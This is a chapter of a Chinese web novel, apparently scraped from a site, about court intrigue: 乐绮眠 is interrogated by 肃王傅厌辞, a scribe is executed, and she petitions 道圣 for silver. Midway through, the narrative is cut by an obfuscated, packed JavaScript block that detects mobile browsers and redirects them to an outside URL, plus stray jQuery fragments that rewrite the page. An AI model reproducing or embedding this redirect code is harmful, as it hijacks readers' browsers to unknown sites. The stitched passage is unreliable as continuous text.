12. 共犯

帐中岑静,一时只余两人的呼吸声。乐绮眠的侧脸浸在昏芒中,像佛殿内拈花微笑的神像,眼中虽含情,实则心绪莫测。


良久,乐绮眠说:“如果他了解道圣,不会在对质时被赶出殿外。殿下洞察人心,也会相信谗言?”


“凡人皆会犯错,”傅厌辞道,“但比起变本加厉地掩饰,坦白尚有回旋余地。”


他的话充满诱惑力,仿佛愿意给乐绮眠一个机会,让她坦白在瑞云殿的谈话。但乐绮眠知道,没人能凭借昔日微薄的联系,打动一个敌国将领,让他放弃对道圣的围杀。


“有一件事,你应该很清楚,”傅厌辞抬起眼眸,目光滑过乐绮眠的咽喉,“你父亲下狱时,没有梁君的默许,枢密院动不了他。”


他说得不错,御史台处死武安侯经过了两道审核,一是政事堂,二是道圣。如果道圣没点头,政事堂不可能批复御史台的奏章。


“可有一件事,”乐绮眠轻声说,“殿下也应该很清楚。”


因为傅厌辞的触碰,帷帽掀开一角。但即使两人离得这样近,也看不清彼此的眼睛。


“一旦道圣遇险,得益者不是我,也不是乐氏,而是国相、贵国国君,以及坐在案前的肃王殿下。”


傅厌辞道:“你是这么想?”


乐绮眠隔着薄薄的手套,将他的手向外推:“其实殿下想处置我,不必找寻借口,快刀斩乱麻,不是殿下一向所长?”


说完,她慢慢笑开。和刚才不同,这笑里有一点倦懒,一点无谓,仿佛死在傅厌辞手中,也不算什么。


傅厌辞立刻听出,她在讽刺鹰刑之誓。


“的确要处置,”他的视线沿着乐绮眠指尖描摹到腕骨,感受到她逐渐放缓的心跳,“但尚未轮到你。”


话音方落,远处衣架倏忽翻倒,发出一声闷响。


“肃、肃王殿下饶命!”


听到动静,御卫大步入内,书吏从衣架后被拖出,跪倒在地。


乐绮眠看向傅厌辞,目光微变。谈话时没有人进帐,所以此人,一开始就在帐中!


“殿下,是枢相唆使我如此说,”书吏求饶,“圣上的计划,我一概不知!”


肃王安排他旁听谈话,指出作伪之处,他心怀侥幸,认为事实必如曹病已所料。谁知乐绮眠对答如流,还打算以死自证,让他怀疑枢相判断有误,自己给了假情报!


诱骗肃王除掉乐绮眠一事暴露,他的下场不言而喻。因此听到那句“尚未轮到你”,书吏顿时如坠冰窟。


御卫道:“诬告两国使臣,使犒师费不能如期付讫,如何处置?”


书吏说:“队长冤枉!我绝无此意!”


御卫道:“冤不冤枉殿下自有分晓,你只需老实回答,曹病已将这个推测,告知了几人?”


书吏只想出卖情报保命:“枢相知是推论,没有广而告之,料想只有我一人!”


语落,御卫不再发问,看向官员的眼神也从凶厉,转为幽深。


书吏错愕,心想枢相虽然猜测有误,但尚未造成损失,为何这样看他?然而,再次回顾方才对话,书吏顿时如遭雷击。


乐绮眠是没有承认出逃的计划,可从头到尾,也没有否认!


书吏幡然醒悟:“你竟伙同乐——”


话未说完,书吏被拖往帐外。起初还能听到咒骂,但很快,雪地重归死寂。


目睹这一切,乐绮眠再看傅厌辞时,神情有所变化。


原来刚才的审问不仅针对她,更是对书吏那番话的检验。如果中途露怯或在压力下坦白,被拖出去的,也许不止一人。


“殿下信不过他,应当也信不过我,”乐绮眠的语气变得耐人寻味,“现在又是什么意思?”


这样重要的消息,不可能因为一面之词妄下结论。傅厌辞不由分说除去书吏,倒像为了掩盖实情,故意为之。


大帐岑寂,傅厌辞指节轻敲,像有节奏的鼓点。


乐绮眠听到这声音,看向傅厌辞,某个模糊的想法划过脑海,立刻抬头,注意到角落的宦官与侍从。


隔墙有耳。


乐绮眠忽然兴起一般,认认真真将他端详一遍。


“殿下三番四次与国相作对,似乎只图一时之快,”她咬字含糊,低柔、缓慢地抵过齿间,“可拿不下奉京,抓不住道圣,受罚的,可不止国相。”


如果傅厌辞还记得他的身份,就不会在远征时与主帅内讧,甚至隐瞒道圣出逃的消息。常人可能认为是出于对她的保护,但乐绮眠知道,压根不是这么回事。


如果说傅厌辞有什么吸引她的地方,过去可能是肃王的身份。而现在,她一只手就能碰到傅厌辞,陌生感却汹涌而至。


让她发觉,自己似乎从未了解过他。


***


夜深人静,曹府的灯一直亮到子时。


“枢相,不好,”报信人脸色惨白,跌跌撞撞闯入大门,“书、书吏让肃王的人给杀了!”


曹病已放下茶盏,拧起了眉。


他天亮就在等消息,见书吏迟迟不回,猜到出了意外。他以为是闻仲达所为,派人前去打探,却说国相不在营中。


居然是折在肃王手里。


报信人说:“肃王让乐氏女与书吏对质,验明计划真伪,书吏扛不住压力,让肃王以传递假消息的由头杀了,金银也被扣在营中!”


为何杀书吏?


如果这桩事是闻仲达做下,曹病已还信三分。但肃王不是弑杀之人,甚至因为师从乌铎,习兵法、善文墨,被二姓子弟谑称为“儒将”。


肃王明显想隐瞒这个消息,或者根本不信道圣会出逃。


曹病已提笔写下消息,让报信人取走:“将这封信交到国相手中,现在去。”


他看不透肃王的用意,但闻仲达了解肃王,一定能猜到他的目的。若是为抢占军功,那再好不过。


报信人离去,曹病已又叫来内知,让对方备车,天亮前往世子府。


西灵郡王在世时最得道圣疼爱,每年忌日,道圣都会前往王府祭拜。


世子李麟与郡王交好,再过几日就是郡王的忌日,此时重提郡王之死,即使不能让道圣撤乐氏兄妹的职,给筹措增加阻碍,消耗乐绮眠的时间,却不算难事。


***


枢密院官员陆续下狱后,乐绮眠清点抄检的银两,果然,离足额相去甚远。


这也在意料中,置办家产、宴饮享乐,曹党花出去的银子难以追缴,大头又在曹病已囊中。离约定期限还有十日,乐绮眠打算进宫


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294376|167077||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


一趟,另寻办法。


“如果这个法子不行,我再去太师府,”乐斯年撑伞挡雪,“不论为犒师费还是拿药,你斗倒了薛贤,魏衍没理由拒绝。”


从道圣安排二人回京起,他们就是太师府用来对付曹病已的明棋。但这些天魏衍迟迟不现身,乐斯年也有了疑虑。


“恰恰相反,”乐绮眠摇头,“你我不能主动联系魏衍,要他亲自上门。”


两人是贵人赌桌上的筹码,随时可以被替换。就像乐绮眠在道圣与傅厌辞之间周旋,魏衍也在考量他们的价值。


与其向对方求助,不如放手一搏,证明两人的能力。


乐绮眠进入瑞云殿,道圣身旁站了名衣着华贵的小少年,眉眼与道圣有些相似,但更为清秀生动,却是太子李恕。


“先下去温书,”道圣拂动麈尾,让内宦取走他的功课,“朕改日再考校。”


李恕乖巧点头,自己拿起功课,临走前望了乐绮眠一眼,似有好奇。


道圣笑了笑:“恕儿八岁才进宫,你二人见面次数不多,恐怕还认不得你。”


乐绮眠自嘲:“臣在西北军营长大,少时灰头土脸,太子殿下即便见过,想必也认不出臣。”


道圣多年无嗣,李恕幼时从应州被接往奉京,因为勤勉纯孝,从一众宗室子中被遴选为太子。


道圣不会无故让两人相见,这是告诉她,乐家过去疏于与皇室交往,以至与太子相见不相识。


言下之意,无非武安侯自恃清傲,不媚皇权。否则怎会犯下刺杀大罪,走入穷途末路?


“此事办得好,”不过,当看到枢密院的账目,道圣的笑容转为真切,“可有想要的赏赐?”


乐绮眠道:“臣还有一事禀报圣上,其实就在昨日,城防司联系到岑州勤王军,加上禁军、应州兵马,出城的人手已安排妥当。”


九日后是大梁向北苍纳降的日子,也是拟定的出逃日期。道圣打算随禁军北上,但征南军兵多将广,需要一支兵马做诱饵,拖住征南军。故而,留下来的人责任大、担子重,又面临生死危局。能承担这个责任之人,才是道圣需要的“真官”。


乐绮眠说:“届时,臣会协助几位将军拖住征南军,由乐将军送圣上离开。”


她言语间掷地有声,没有丝毫犹豫,似乎早已做好牺牲的打算。


道圣心念微顿,连日来的阴霾一扫而空,眼中浮现动容:“好,好,乐家居功甚伟,待禁军在应州安置妥当,朕立刻安排御史中丞,重查郡王一案。”


乐绮眠推辞道:“臣与兄长是为将功折罪,不敢称功,只有一件事,还望圣上应允。”


道圣欣悦道:“何事?”


“臣虽查抄金银万两有余,但离足额尚有距离,”乐绮眠垂首,不紧不慢地说,“臣斗胆请皇室捐输五十万白银,以解燃眉之急。”


“原来是此事,”道圣笑说,“也不难办,由朕起个头,先予十万银。”


乐绮眠也笑:“臣谢过圣上。”


铺陈许久,就是为这句话。谢过恩,她又与道圣谈了出城的细节,这才退出瑞云殿。


但走至阶下,一人忽在前方道:“敢偷都押班的腰牌,你当真不怕咱家将此事告到圣上面前!你猜圣上知情,会如何看你?”